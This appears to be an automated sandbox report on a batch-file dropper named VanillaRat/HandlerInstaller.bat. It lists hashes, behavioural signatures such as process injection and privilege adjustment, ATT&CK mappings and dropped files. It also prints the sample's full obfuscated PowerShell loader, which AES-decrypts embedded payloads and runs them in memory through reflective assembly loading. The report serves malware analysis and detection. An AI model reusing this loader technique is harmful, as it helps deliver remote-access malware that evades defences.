e590d9d061fc38da277121abaf50c5d2432fe4cab8eb4fc347687d04c188f34b

General

Target

VanillaRat/Handlers/HandlerInstaller.bat
Size

12.4MB
MD5

36120c9b85ac8d0886754aea83b5f651
SHA1

f37d5eb87609e6312dc30b37f3b9568f788e1d9d
SHA256

3087b98c490a4be2e1e8d97a74edbacaab32c4162c49050408e9c86e0d1374eb
SHA512

973d80dd9f55c9219c0c1fcb194cb3151b872b2187a83abbcae53f9185a37877253962c116c282019e2309154b0ee0aba4675862f9e4eb4b0084a757ed7a8957
SSDEEP

49152:gfNOR3QlUQZ81jHk0IYRuKSGUhYHEPgU9XA1J8yWSUZ89FIJI25U3euQ6o2Mif+6:J

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

HandlerInstaller.bat.exe

pid process

2792 HandlerInstaller.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2508 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

HandlerInstaller.bat.exe

pid process

2792 HandlerInstaller.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

HandlerInstaller.bat.exe

description pid process

Token: SeDebugPrivilege 2792 HandlerInstaller.bat.exe

pid	process
2792	HandlerInstaller.bat.exe

pid	process
2508	cmd.exe

pid	process
2792	HandlerInstaller.bat.exe

description	pid	process
Token: SeDebugPrivilege	2792	HandlerInstaller.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2508 wrote to memory of 2792	2508	cmd.exe	HandlerInstaller.bat.exe
PID 2508 wrote to memory of 2792	2508	cmd.exe	HandlerInstaller.bat.exe
PID 2508 wrote to memory of 2792	2508	cmd.exe	HandlerInstaller.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2508

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
"HandlerInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VROas($YFEKm){ $EnJnq=[System.Security.Cryptography.Aes]::Create(); $EnJnq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EnJnq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EnJnq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+mgHoM3Dd8LE9FhelB1+E49NCwweh3qyJF1GxhCe+k0='); $EnJnq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wwm30jhzkHC4/5SnlEDZGA=='); $pWYkp=$EnJnq.CreateDecryptor(); $return_var=$pWYkp.TransformFinalBlock($YFEKm, 0, $YFEKm.Length); $pWYkp.Dispose(); $EnJnq.Dispose(); $return_var;}function XcsVC($YFEKm){ $zQqyq=New-Object System.IO.MemoryStream(,$YFEKm); $emglC=New-Object System.IO.MemoryStream; $RGlqr=New-Object System.IO.Compression.GZipStream($zQqyq, [IO.Compression.CompressionMode]::Decompress); $RGlqr.CopyTo($emglC); $RGlqr.Dispose(); $zQqyq.Dispose(); $emglC.Dispose(); $emglC.ToArray();}function dnTmn($YFEKm,$CaEDQ){ $NmIfY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$YFEKm); $bqkrl=$NmIfY.EntryPoint; $bqkrl.Invoke($null, $CaEDQ);}$lpRaC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat').Split([Environment]::NewLine);foreach ($aneut in $lpRaC) { if ($aneut.StartsWith('SEROXEN')) { $zZPSp=$aneut.Substring(7); break; }}$jGZnr=[string[]]$zZPSp.Split('\');$yHwYZ=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[0])));$QcHAi=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[1])));dnTmn $QcHAi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dnTmn $yHwYZ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2792-5-0x000000001B010000-0x000000001B2F2000-memory.dmp

Filesize
2.9MB

Download
memory/2792-6-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2792-7-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-8-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-9-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2792-10-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2792-11-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2792-12-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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